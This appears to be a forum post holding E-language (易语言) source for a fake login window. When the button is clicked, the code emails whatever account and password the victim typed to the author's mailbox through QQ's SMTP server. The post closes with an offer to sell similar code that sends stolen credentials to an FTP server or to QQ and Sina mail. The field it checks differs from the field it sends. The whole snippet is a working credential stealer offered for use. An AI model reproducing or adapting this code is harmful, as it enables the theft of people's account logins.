.版本 2
.支持库 internet
.程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入您的帐号!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入您的密码!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容) ' 判断编辑框1 的内容是否改变
连接发信服务器 (“smtp.qq.com”, 25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“帐号来了”, “帐号:” + 编辑框1.内容 + #换行符 + “密码:” + 编辑框2.内容 + #换行符, “这里输入你的邮箱地址:”, , , “这里输入你的邮箱地址 例如:913710921@qq.com”, )
临时记录 = 编辑框1.内容 ' 记录编辑框1 的内容
我这有!但是我收费!有把账号密码发送到FTP服务器的源码跟发送到QQ邮箱或新浪邮箱等的代码!如果有需要在联系我吧